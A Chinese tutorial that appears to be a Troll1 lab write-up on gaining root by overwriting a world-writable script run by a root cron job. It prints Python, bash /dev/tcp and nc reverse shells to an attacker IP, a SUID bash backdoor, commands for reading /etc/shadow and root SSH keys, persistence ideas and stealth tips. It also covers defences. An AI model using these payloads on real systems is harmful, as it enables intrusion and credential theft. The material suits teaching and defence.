Linux定时任务提权实战：从Cron Job到Root Shell的权限提升

1. 项目概述：从定时任务到权限巅峰的快速通道

在渗透测试和网络安全学习领域，靶机攻破是检验技能、理解系统漏洞的绝佳方式。Troll1靶机以其精巧的设计和“陷阱”闻名，其中利用cleaner.py脚本通过定时任务（Cron Job）提权，堪称一个经典且高效的权限提升案例。这个操作的核心，不在于复杂的漏洞利用或0day攻击，而在于对Linux系统运维机制——特别是定时任务和文件权限管理的深刻理解与巧妙利用。它完美诠释了“最小的权限配置失误，可能成为通往root权限的康庄大道”。

简单来说，这个“骚操作”的场景是：我们作为低权限用户（例如一个普通用户或Web服务账户），在目标系统上发现了一个以root权限周期性运行的定时任务，而这个任务执行的脚本cleaner.py我们拥有写入权限。通过篡改这个脚本的内容，我们就能让root权限的定时任务执行我们注入的恶意代码，从而直接获得一个具有root权限的shell。整个过程思路清晰、步骤明确，对于理解Linux权限模型和提权原理极具教学价值。无论你是刚入门渗透测试的新手，还是想巩固基础的安全从业者，这个案例都值得深入剖析和亲手实践。

2. 核心原理与前置知识拆解

在动手之前，我们必须彻底搞清楚“为什么能这么做”。这不仅仅是跟着步骤做，更要理解每一步背后的系统机制，这样才能举一反三，应对其他类似场景。

2.1 Linux定时任务（Cron）的运行机制

Cron是Linux/Unix系统中用于计划周期性执行任务的守护进程。用户可以通过crontab命令编辑自己的定时任务列表，系统也有全局的定时任务目录（如/etc/crontab，以及/etc/cron.d/，/etc/cron.hourly/等）。

关键点在于权限继承：Cron任务以什么用户身份运行，是由任务定义本身决定的。在/etc/crontab中，每行任务格式为：

分钟 小时 日 月 周 用户名 要执行的命令

例如：* * * * * root /usr/local/bin/cleaner.py表示这个任务每分钟都以root用户身份执行一次cleaner.py脚本。

如果任务是通过sudo crontab -e为root用户添加的，或者放在/etc/cron.d/下的配置文件里指定了用户为root，那么这些任务运行时都拥有完整的root权限。这就是我们提权的“发动机”——一个高权限的执行上下文。

2.2 文件权限与所有权：攻击面的来源

Linux中，每个文件和目录都有所有者（user）、所属组（group）和其他人（others）的读（r）、写（w）、执行（x）权限。提权漏洞往往源于不恰当的权限设置。

在Troll1靶机的场景中，cleaner.py脚本很可能存在以下权限问题之一或组合：

1. 错误的所有权：脚本文件由root拥有，但所属组或其他人的权限中包含了写（w）权限。例如，权限为-rwxrwxrwx（777）是极度危险的，意味着任何用户都能修改它。
2. 脆弱的目录权限：脚本所在的目录权限过于宽松。即使脚本本身是-rwxr-xr-x（755，仅root可写），但如果其父目录（例如/usr/local/bin/）被设置为drwxrwxrwx（777），任何用户都可以删除该脚本并重新创建一个同名恶意脚本。或者，目录有sticky位缺失等问题。
3. 符号链接（Symlink）攻击：如果定时任务执行的命令是相对路径，或者脚本本身是一个可以被我们控制的符号链接，也可能导致问题。

核心在于：一个以root权限运行的程序，如果其内容可以被低权限用户控制，那么低权限用户就能控制root执行什么代码。cleaner.py就是这个被控制的“程序”。

2.3 Python脚本的执行与库导入风险

cleaner.py是一个Python脚本。除了直接修改脚本内容，还需要注意Python的模块搜索路径（sys.path）。如果脚本中使用了import语句，且导入的模块文件（.py文件）或模块所在目录的低权限用户可写，同样可能通过污染模块的方式进行攻击。不过，在Troll1的经典案例中，通常是最直接的脚本内容覆盖。

注意：在实际渗透测试中，务必先确认目标。盲目修改系统关键脚本可能导致服务崩溃，触发警报。在靶机环境中可以大胆尝试，在真实环境中必须遵循授权和最小影响原则。

3. 实操环境搭建与信息收集

我们假设已经通过某种方式（例如SSH弱口令、Web应用漏洞）获得了Troll1靶机的一个低权限shell。现在，我们需要系统地探索环境，找到那个关键的cleaner.py和它的定时任务。

3.1 初始立足点与权限确认

首先，确认我们当前的身份和基本权限。

whoami id pwd

id命令会详细显示用户ID（uid）、组ID（gid）以及所属的附加组。这让我们明确自己的权限等级。

3.2 寻找定时任务

寻找系统定时任务有多种方法，需要综合使用：

1. 检查系统级Cron目录：

   ls -la /etc/cron* /etc/crontab /etc/anacrontab 2>/dev/null cat /etc/crontab

   重点关注/etc/crontab文件内容和/etc/cron.d/目录下的所有文件。仔细查看每一行，寻找以root身份运行的任务，特别是那些执行路径看起来像脚本的任务。

2. 检查各用户的Cron任务：

   crontab -l # 查看当前用户的定时任务（通常权限不高） ls -la /var/spool/cron/crontabs/ 2>/dev/null # 查看所有用户的crontab文件，需要root权限读内容

   如果我们能读取/var/spool/cron/crontabs/root，那将获得直接信息，但通常需要root权限。

3. 使用pspy等工具监控进程：如果静态查找困难，可以上传pspy（一个非特权进程监控工具）到靶机。它可以观察到系统周期性启动的进程，即使它们来自cron。这对于发现隐藏的或动态生成的定时任务非常有效。

   # 在攻击机上 wget https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64 # 上传到靶机并执行 chmod +x pspy64 ./pspy64

   运行后，观察输出，寻找规律性出现的、以root身份执行的命令，特别是执行python脚本的命令。

3.3 定位并分析cleaner.py

假设通过上述方法，我们在/etc/crontab中发现了如下行：

* * * * * root /usr/local/bin/cleaner.py

接下来，我们需要彻底检查这个脚本。

ls -la /usr/local/bin/cleaner.py

查看其权限。理想（对我们攻击者而言）的情况是类似-rwxr-xrwx（757）或-rwxrwxrwx（777），即其他用户（others）有写（w）权限。也可能是组（group）有写权限，而我们的用户恰好在那个组里。

如果权限显示只有root可写（如-rwxr-xr-x，755），我们还需要检查其所在目录的权限：

ls -la /usr/local/bin/ | grep cleaner.py ls -ld /usr/local/bin/

如果目录权限是drwxrwxrwx（777），我们依然可以通过删除原文件并创建新文件的方式进行攻击。

最后，查看脚本内容，了解其正常功能，这有助于我们设计更隐蔽的恶意代码，或者判断其是否调用了其他可写文件。

cat /usr/local/bin/cleaner.py

4. 利用与提权操作实现

一旦确认cleaner.py可写，剩下的就是技术实现。我们的目标是将一个能给我们root shell的命令注入到脚本中。

4.1 方法一：直接覆盖脚本内容（最直接）

这是最简单粗暴的方法。直接编辑或覆盖cleaner.py，使其包含反向shell或SUID shell生成代码。

示例：写入一个Python反向Shell假设我们的攻击机IP是192.168.1.100，监听端口为4444。 在靶机上执行：

echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.100",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > /usr/local/bin/cleaner.py

或者，为了保持一点隐蔽性，可以在原脚本末尾追加（如果原脚本不大且我们可读）：

cat /usr/local/bin/cleaner.py > /tmp/cleaner_backup.py # 备份原内容（如果需要） echo -e "\n# 恶意代码注入" >> /usr/local/bin/cleaner.py echo 'import os; os.system("bash -c \'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1\'")' >> /usr/local/bin/cleaner.py

在攻击机上启动Netcat监听：

nc -lvnp 4444

然后等待最多一分钟（因为cron任务是每分钟运行一次），当定时任务触发时，我们就会在攻击机上收到一个来自靶机的、以root权限运行的shell。

4.2 方法二：创建SUID Shell（更持久）

如果我们希望获得一个持久的后门，可以在脚本中创建一个SUID（Set User ID）位的bash副本。SUID位的文件在执行时，会以文件所有者的身份运行。如果我们创建一个属于root且设置了SUID的/tmp/bash，那么任何用户执行它都会获得root shell。

修改cleaner.py，加入以下内容：

import os os.system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash')

或者用一行Python实现：

__import__('os').system('cp /bin/bash /tmp/rbash && chmod 4755 /tmp/rbash')

等待定时任务执行后，在靶机上以低权限用户执行/tmp/rootbash -p（-p参数用于保留提升的权限），即可获得root shell。

实操心得：在真实环境中，方法二（SUID）可能比反向Shell更隐蔽，因为它不产生外部网络连接。但/tmp目录下的可疑文件也容易被巡检发现。可以尝试将文件放在更隐蔽的目录，或使用隐藏文件名（以点开头）。

4.3 方法三：利用目录权限进行文件替换

如果cleaner.py本身不可写，但其所在目录/usr/local/bin权限为777，我们可以采用“移花接木”的方法。

cd /usr/local/bin mv cleaner.py cleaner.py.bak # 重命名原文件（可能需要root？如果目录可写，通常可以重命名） echo '恶意Python代码' > cleaner.py # 创建新的恶意脚本 chmod +x cleaner.py # 赋予执行权限（因为新建的文件可能没有x权限）

等待cron执行后，记得清理现场，或者将原文件移回，取决于你的目的。

5. 深入排查与权限巩固

拿到root shell远不是终点，尤其是对于渗透测试学习而言。我们需要理解如何发现这类漏洞，以及如何防止它们。

5.1 攻击视角：扩大战果与信息收集

获得root权限后，应立即进行以下操作：

1. 抓取密码哈希：读取/etc/shadow文件，与/etc/passwd结合，可用于后续破解或密码复用。

   cat /etc/shadow

2. 查看SSH密钥：检查/root/.ssh/目录，获取authorized_keys和私钥，可能用于横向移动或持久化。

   cat /root/.ssh/authorized_keys cat /root/.ssh/id_rsa

3. 检查历史命令：查看root用户的shell历史，了解管理员习惯和系统关键信息。

   cat /root/.bash_history

4. 寻找其他敏感信息：如数据库配置文件、应用源码、备份文件等。
5. 建立持久化后门：例如，添加新的SSH密钥、创建隐藏的cron任务、安装rootkit等（仅在授权测试的靶机中进行）。

5.2 防御视角：漏洞成因与修复方案

从系统管理员的角度看，这个漏洞的根源在于不安全的文件权限配置。修复措施包括：

1. 最小权限原则：定时任务执行的脚本，其所有权应严格为root:root，权限应设置为755（-rwxr-xr-x）或更严格的700（-rwx------），确保只有root可写。

   chown root:root /usr/local/bin/cleaner.py chmod 755 /usr/local/bin/cleaner.py # 或 chmod 700

2. 安全的目录权限：脚本所在目录的权限也应严格控制。像/usr/local/bin这样的系统目录，权限应为755（drwxr-xr-x），杜绝其他用户写权限。

   chmod 755 /usr/local/bin

3. 使用不可篡改的属性（如果文件系统支持）：对于关键脚本，可以设置immutable（不可变）属性，防止任何修改。

   chattr +i /usr/local/bin/cleaner.py # 设置不可变 chattr -i /usr/local/bin/cleaner.py # 取消不可变

4. 审计与监控：定期使用类似find命令审计系统中所有可写的脚本文件，特别是那些被root cron引用的。

   find / -type f -perm -o+w -user root 2>/dev/null # 查找全局其他用户可写的root文件 find /etc/cron* /var/spool/cron -type f -exec ls -la {} \; 2>/dev/null | grep -v "^$" # 查看所有cron任务文件

5. 使用专用工具：部署文件完整性监控（FIM）工具，如AIDE、Tripwire等，当关键系统文件（如/etc/crontab,/usr/local/bin/cleaner.py）被修改时发出警报。

6. 进阶思考与类似漏洞拓展

Troll1的cleaner.py案例是一个典型，但定时任务提权的花样远不止于此。理解其本质后，可以识别更多变种：

1. 通配符（Wildcard）滥用：如果cron任务中使用了通配符，例如root tar -czf /backups/*.log，并且当前目录用户可写，则可以通过创建特殊文件名（如--checkpoint=1，--checkpoint-action=exec=shell.sh）来利用tar的特性执行命令。这不是脚本本身可写，而是任务执行时的环境可控。
2. PATH环境变量劫持：如果cron任务中调用的是命令名而非绝对路径（如cleaner而不是/usr/local/bin/cleaner.py），并且脚本开头没有指定解释器（#!/usr/bin/env python3），那么系统会从PATH环境变量指定的目录中寻找名为cleaner的可执行文件。如果低权限用户可以将一个恶意可执行文件写入到PATH中比原脚本更靠前的目录，就能实现劫持。
3. Python库劫持（PYTHONPATH）：类似于PATH，如果cleaner.py使用了import语句导入自定义模块或第三方库，而Python模块搜索路径（sys.path，受PYTHONPATH环境变量影响）中的某个目录用户可写，就可以在该目录下放置同名的恶意模块文件，实现代码注入。
4. 其他脚本语言（Shell, Perl等）：原理完全相同。任何由root cron执行的、用户可控的脚本或配置文件（如通过source或.加载的shell配置文件）都是潜在的攻击点。
5. 不安全的临时文件处理：脚本本身可能不可写，但它在执行过程中会在/tmp等目录创建临时文件。如果临时文件名可预测，且没有安全地创建（使用mktemp），就可能存在符号链接竞争（Symlink Race）漏洞，导致向任意文件写入内容。

排查这类漏洞的思路是统一的：寻找高权限（root）的执行流，并检查该执行流所依赖的所有资源（脚本、配置文件、环境变量、输入数据）是否可以被低权限用户影响或控制。只要存在一个这样的控制点，就可能实现权限提升。

7. 靶机实战中的注意事项与排错

在Troll1或其他类似靶机实战中，你可能会遇到一些“坑”，这里记录几个常见问题和解决思路：

1. 找不到cleaner.py或相关cron任务：

   • 可能原因：任务可能不是系统cron，而是某个用户的anacron任务，或者是由systemd timer管理的。尝试检查/etc/anacrontab和systemctl list-timers --all。
   • 可能原因：任务名称或路径不同。尝试使用find / -name "*clean*" -type f 2>/dev/null进行全盘搜索，或用grep -r "clean" /etc/cron* /var/spool/cron 2>/dev/null进行内容搜索。
   • 可能原因：任务被配置为只运行一次或在特定时间运行。使用pspy长时间监控是最可靠的方法。

2. 脚本权限显示为755（仅root可写），但目录权限也正常：

   • 检查点：确认你是否在某个有特权的组里？使用id命令查看。也许脚本的组权限是可写的（如750），而你的用户恰好在那个组。
   • 检查点：是否有其他路径？例如，/usr/local/bin可能是一个符号链接，指向一个权限宽松的实际目录。
   • 终极手段：如果以上都不行，回顾信息收集阶段，是否遗漏了其他以root身份运行的可写脚本或二进制文件？提权路径可能不止一条。

3. 写入恶意代码后，cron执行了但没有收到shell：

   • 网络问题：检查攻击机防火墙，确认监听端口（如4444）是否开放。尝试在靶机上用nc -zv 攻击机IP 4444测试连通性。
   • 命令语法问题：Python反向Shell代码可能因Python版本（2 vs 3）或环境差异而失败。尝试使用更通用的命令，如os.system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.100 4444 >/tmp/f')，或者先测试一个简单的命令如os.system('touch /tmp/success')，看文件是否被创建，以验证代码执行是否成功。
   • 输出被重定向：Cron任务的标准输出和错误默认会通过邮件发送给任务所有者（root）。如果脚本有语法错误，你可能收不到shell，但可以通过查看系统邮件（/var/mail/root）或cron日志（/var/log/cron或/var/log/syslog）来排查错误信息。
   • 环境变量问题：Cron执行任务时的环境变量与交互式Shell不同，PATH通常非常精简。因此，在脚本中使用绝对路径是最佳实践。确保你的反向Shell命令（如bash，nc）使用了绝对路径（/bin/bash，/bin/nc）。

4. 操作后触发警报或靶机异常：

   • 在修改系统文件前，尽量先备份原文件。
   • 恶意代码尽量简单、高效，避免长时间占用CPU或产生大量日志。
   • 获得shell后，优先稳定shell（使用python -c 'import pty; pty.spawn("/bin/bash")'进行TTY升级），然后清理或恢复脚本，减少被发现的风险。

这个利用定时任务提权的过程，本质上是一场关于权限和信任的博弈。它深刻地提醒我们，在系统运维和开发中，任何一个微小的配置疏忽，在攻击者眼中都可能是一个闪闪发光的突破口。对于防御者，这意味着必须贯彻最小权限原则和纵深防御；对于攻击者（在授权范围内），这意味着需要具备细致入微的观察力和对系统机制的深刻理解。Troll1靶机的这个案例，正是培养这种能力的绝佳起点。